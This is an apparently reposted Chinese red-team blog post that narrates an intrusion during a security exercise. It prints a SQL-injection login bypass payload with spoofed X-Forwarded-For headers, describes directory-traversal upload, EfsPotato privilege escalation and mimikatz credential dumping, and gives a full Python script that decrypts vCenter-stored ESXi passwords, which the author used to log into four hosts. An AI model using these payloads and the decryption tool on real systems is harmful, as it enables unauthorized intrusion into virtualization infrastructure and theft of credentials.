0
免责声明
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
前言
随着演练常态化后,这比赛越来越难打了,身为一个0day匮乏的安服仔生存压力好大。这次小领导给压力了难打兄弟也要冲一把,用简单朴素得口令继续日站。
01
正文
admin' or '1'='1/111
万能密码加个XFF头登录进来了,既然破站给机会了这波就要珍惜。
X-Real-IP: 127.0.0.1
X-Forwarded-For (XFF): 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Client-IP: 127.0.0.1
找到一处文件上传点,上传文件提示路径缺失。
这里下一步思路基本上就是跨目录了。
目录穿越文件上传边界突破、(身为一个安服仔,到这里其实可以和领导交差了。漏扫得工资干这个确实伤身体)
推荐一个好用的哥斯拉土豆提权插件
https://github.com/zcgonvh/EfsPotato
直接system权限
用抓mimi抓密码,找到口令,复用了几台机器权限发现全都在虚拟化环境上。
去poc扫描一波,找到vSphere。
踩了一些POC只发现一个任意文件读取漏洞,直接读取默认配置文件获取到mssql账密。
由于mssql执行命令低权限并且有杀软,命令执行拿vc控制权有些费劲
于是尝试使用VC数据库解密工具,对其数据库账密进行解密登录esxi。
https://github.com/shmilylty/vhost_password_decrypt
vhost_password_decrypt 这工具多多少少有些bug,浪费了很多时间改工具,改好得源码给大家放下面了。
import base64
import sys
from Crypto.Cipher import AES
usage='''
usage:
python3 decrypt.py symkey.dat password.enc
'''
def pkcs7unpadding(text):
length = len(text)
padding_length = ord(text[-1])
return text[0:length-padding_length]
def decrypt(key, enc_passwords):
passwords = []
key_bytes = bytes.fromhex(key)
for enc_password in enc_passwords:
content = base64.b64decode(enc_password)
iv_bytes = content[:16]
enc_password_bytes = content[16:]
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
password_bytes = cipher.decrypt(enc_password_bytes)
password = str(password_bytes, encoding='utf-8')
password = pkcs7unpadding(password)
line = f'{password}'
print(line) # show the password as you save it to a file
passwords.append(line)
return passwords
def save_decrypt_password(path, passwords):
data = 'n'.join(passwords)
with open(path, 'w') as file:
file.write(data)
def get_encrypt_password(path):
enc_passwords = []
with open(path, 'r') as file:
for line in file:
line = line.strip().strip('*')
enc_passwords.append(line)
return enc_passwords
def get_key(path):
with open(path, 'r') as file:
key = file.read().strip()
return key
def main():
if len(sys.argv) != 3:
print(usage)
exit(1)
key = get_key(sys.argv[1])
encrypt_passwords = get_encrypt_password(sys.argv[2])
save_path = "result.txt"
passwords = decrypt(key, encrypt_passwords)
save_decrypt_password(save_path, passwords)
if __name__ == '__main__':
main()
解密后登录4台ESXI。
解密后得dmo东西:
02
总结
这么多年过去了,我这种渗透工匠还能找到点存在感。
原文始发于微信公众号(前进四安全团队):GFYL文件上传跨目录突破技巧
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论